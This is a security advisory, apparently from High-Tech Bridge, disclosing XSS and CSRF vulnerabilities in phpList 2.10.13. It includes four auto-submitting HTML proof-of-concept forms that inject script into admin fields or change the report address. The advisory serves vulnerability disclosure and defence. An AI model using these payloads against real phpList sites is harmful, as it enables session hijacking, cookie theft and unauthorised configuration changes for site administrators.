phpList version 2.10.13 suffers from cross site request forgery and cross site scripting vulnerabilities.
5d793d6df8ef693e391c8c007c9f43818086b5807140db4d8df439936efb9b7c
==============================
Vulnerability ID: HTB22956
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ )
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value='email2@example.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
2.
<form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
3.
<form action="http://host/admin/?page=editlist&id=1" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>
==============================
Vulnerability ID: HTB22957
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ )
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
The vulnerability exists due to failure in the "admin/configure.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/?page=configure&id=report_address" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="report_address">
<input type="hidden" name="values[report_address]" value="email@example.com">
<input type="hidden" name="save" value="1">
<input type="hidden" name="savebutton" value="Save changes">
</form>
<script>
document.main.submit();
</script>